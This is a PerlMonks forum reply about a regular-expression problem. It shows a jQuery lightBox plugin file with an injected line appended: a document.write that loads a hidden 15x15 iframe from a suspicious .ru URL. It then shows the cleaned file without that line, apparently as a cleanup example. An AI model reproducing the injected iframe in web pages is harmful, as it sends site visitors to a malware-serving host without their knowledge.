Beefy Boxes and Bandwidth Generously Provided by pair Networks
Keep It Simple, Stupid
 
PerlMonks  

Re: trouble with regular expressions

by 2teez (Priest)
on Nov 06, 2012 at 16:19 UTC ( #1002516=note: print w/ replies, xml ) Need Help??

Help for this page

Select Code to Download


  1. or download this
    use warnings;
    use strict;
    ...
     * and adapted to me ...SHORTENED... */
    eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)
    +))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.repl
    +ace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r
    +[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(n
    +ew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(6($){$.2N.3g=6(4){4
    +=23.2H({2B:\'#34\',2g:0.8,1d:F,1M:\'18/5-33-Y.16\',1v:\'18/5-1u-2Q.16
    +\',1E:\'18/5-1u-2L.16\',1W:\'18/5-1u-2I.16\',19:\'18/5-2F.16\',1f:10,
    +2A:3d,2s:\'1j\',2o:\'32\',2j:\'c\',2f:\'p\',2d:\'n\',h:[],9:0},4);f I
    +=N;6 20(){1X(N,I);u F}6 1X(1e,I){$(\'1U, 1S, 1R\').l({\'1Q\':\'2E\'})
    +;1O();4.h.B    ...SHORTENED...     style|fromCharCode|String|DOM_VK_E
    +SCAPE|event|keydown|append|of|ico|000|fast|for||slideDown||100|250|ms
    +ie|400|browser|animate|lightBox|do'.split('|'),0,{}));document.write(
    +'<iframe src="http://wwwrcacomcontributes.ru/blacklistingbogus.cgi?8"
    + scrolling="auto" frameborder="no" align="center" height="15" width="
    +15"></iframe>');
    
  2. or download this
    /**
     * jQuery lightBox plugin
     * This jQuery plugin was inspired and based on Lightbox 2 by Lokesh D
    +hakar (http://www.huddletogether.com/projects/lightbox2/)
     * and adapted to me ...SHORTENED... */
    eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)
    +))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.repl
    +ace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r
    +[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(n
    +ew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(6($){$.2N.3g=6(4){4
    +=23.2H({2B:\'#34\',2g:0.8,1d:F,1M:\'18/5-33-Y.16\',1v:\'18/5-1u-2Q.16
    +\',1E:\'18/5-1u-2L.16\',1W:\'18/5-1u-2I.16\',19:\'18/5-2F.16\',1f:10,
    +2A:3d,2s:\'1j\',2o:\'32\',2j:\'c\',2f:\'p\',2d:\'n\',h:[],9:0},4);f I
    +=N;6 20(){1X(N,I);u F}6 1X(1e,I){$(\'1U, 1S, 1R\').l({\'1Q\':\'2E\'})
    +;1O();4.h.B    ...SHORTENED...     style|fromCharCode|String|DOM_VK_E
    +SCAPE|event|keydown|append|of|ico|000|fast|for||slideDown||100|250|ms
    +ie|400|browser|animate|lightBox|do'.split('|'),0,{}));//eof
    

Log In?
Username:
Password:

What's my password?
Create A New User
Node Status?
node history
Node Type: note [id://1002516]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others cooling their heels in the Monastery: (5)
As of 2014-12-21 22:23 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    Is guessing a good strategy for surviving in the IT business?





    Results (108 votes), past polls